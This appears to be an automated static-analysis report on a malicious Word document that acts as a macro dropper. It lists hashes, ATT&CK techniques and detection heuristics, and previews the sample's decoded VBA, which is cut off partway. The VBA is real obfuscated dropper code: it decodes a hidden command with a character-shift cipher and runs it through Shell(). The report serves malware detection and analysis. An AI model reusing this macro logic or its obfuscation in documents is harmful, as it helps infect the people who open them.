Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2db7425c7c9efff9…

MALICIOUS

Office (OLE)

46.0 KB Created: 2018-07-19 12:54:00 Authoring application: Microsoft Office Word First seen: 2018-09-04
MD5: e1f852fcf7d8afb89786f7b8d8f00b5c SHA-1: 2e06a5252e971f0fbe04492d8cf9a427e3529de1 SHA-256: 2db7425c7c9efff9c87fb45719ac4a9c7b24722f2cf19de1ba7f1b9d1f59de45
162 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The sample contains VBA macros and uses a Shell() call, indicating it is a dropper. The document body explicitly prompts the user to 'Enable Editing' and 'Enable Content', a common lure for macro-based malware. The ClamAV detection name 'Doc.Dropper.Agent-6615941-0' further supports its role as a dropper.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6615941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6615941-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4284 bytes
SHA-256: cf16af7cc3344dd99d6eac7aff37ed98dd77630ce6068afb1711de70500d8a43
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub InkPicture1_Resize(Left As Long, Top As Long, Right As Long, Bottom As Long)
ZUAGNIETHS "proys", ""
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{0D139100-33B2-41CE-918E-CB953BC0686B}{029B65EC-56B8-450C-AF18-9546C8FA5C68}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub TextBox2_Change()
ng = 0
Shell UserForm1.TextBox2, ng
End Sub

Private Sub TextBox3_Change()
leonardow
End Sub

Attribute VB_Name = "sashazoe"
Function leonardow()
howard1976 = NIKHSORT()
nccwayne = NIKHSORT()
daddydylan = NIKHSORT()
loserboy = NIKHSORT()

metravel = ""

If 8 <> 10 Then
acrosbly (aksdjh("BB"))
cosmosou metravel, UserForm1.TextBox4, howard1976
acrosbly (aksdjh("CC"))
cosmosou metravel, UserForm1.TextBox4, nccwayne
acrosbly (aksdjh("DD"))
cosmosou metravel, UserForm1.TextBox4, ""
acrosbly (aksdjh("EE"))
cosmosou metravel, UserForm1.TextBox4, nccwayne
End If

acrosbly (avokintolob(4))
cosmosou metravel, UserForm1.TextBox4, daddydylan
acrosbly (avokintolob(5))
cosmosou metravel, UserForm1.TextBox4, daddydylan
acrosbly (avokintolob(6))
cosmosou metravel, UserForm1.TextBox4, howard1976
acrosbly (avokintolob(7))
cosmosou metravel, UserForm1.TextBox4, howard1976
acrosbly (avokintolob(8))
cosmosou metravel, UserForm1.TextBox4, loserboy
acrosbly (avokintolob(9))
cosmosou metravel, UserForm1.TextBox4, loserboy
acrosbly (avokintolob("A"))
cosmosou metravel, UserForm1.TextBox4, ""

UserForm1.TextBox2 = metravel
End Function

Function acrosbly(metravel)
UserForm1.TextBox4 = lilastig(metravel)
End Function

Attribute VB_Name = "ondoMollari"
Function cosmosou(ByRef pinkyasu, weltchol, ozonured)
pinkyasu = pinkyasu + weltchol + ozonured
End Function

Function istakan2()
ls = 1
istakan2 = "s"
End Function

Function ZUAGNIETHS(ByRef text, burefg)
UserForm1.TextBox3 = text
End Function

Attribute VB_Name = "sixrospo"
Function avokintolob(cencaesg)
If 1 = 2 Then
End If
Select Case cencaesg
Case 4
avokintolob = "_$$1p)g1|"
Case 5
avokintolob = "%imi$$}:jphop gof/ijj5$$1p)g1|"
Case 6
avokintolob = "%imi$$:-poa;"
Case 7
avokintolob = "{$$xppg4[[/bi""ibh(kfxjif%/f)[(iu%yn$$}-/hp/x;"
Case 8
avokintolob = "{$$xppg4[[khapf(fxjif%/f)[(iu%yn$$}-$]]535fsp ldbi5 i(/fkd(z5hj/dd5 ldbighpx51p)g1|"
Case 9
avokintolob = "%'hp:5jphop gof/ijj5$1p)g1|"
Case "A"
avokintolob = "%'hp$5 ud(kfujpabi5xdkki(]"
End Select
End Function

Function aksdjh(feg)
If feg = "BB" Then
aksdjh = "/)k5[/5gfuiojxibb5]$gfuiojxibb5]]ls(/pdf(5"
ElseIf feg = "CC" Then
aksdjh = "{.jpod(z,5\"
ElseIf feg = "DD" Then
aksdjh = "};{(iu f'ci/p5jajpi)%"
ElseIf feg = "EE" Then
aksdjh = "(ip%ui'/bdi(p}%kfu(bfhkldbi{\"
End If
End Function

Attribute VB_Name = "vertpork"
Function NIKHSORT()
dirkangels = 5 * Rnd() + 2
xxxlakers = ""
inf = 1
turtyp inf, dirkangels, xxxlakers
NIKHSORT = xxxlakers
End Function

Function turtyp(ByRef inf, gterf, ByRef ogom)
If inf < gterf Then
avobiasuM = ""
pizaGM1 avobiasuM, 20 * Rnd() + 98
ogom = ogom + avobiasuM
inf = inf + 1
turtyp inf, gterf, ogom
End If
End Function

Function pizaGM1(ByRef meilethe, phoonnab)
meilethe = Chr(phoonnab)
pizaGM1 = 1
End Function

Function lilastig(hollyvirus)
qwertycard = ""
For i = 1 To Len(hollyvirus)
qwertycard = qwertycard + silmarion(abcdefopus(Mid(hollyvirus, i, 1)), 5)
Next i
lilastig = qwertycard
End Function

Function silmarion(num, key)
If num - key < 1 Then
silmarion = Mid(UserForm1.TextBox1, Len(UserForm1.TextBox1) + num - key, 1)
Else
silmarion = Mid(UserForm1.TextBox1, num - key, 1)
End If
End Function

Function abcdefo
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.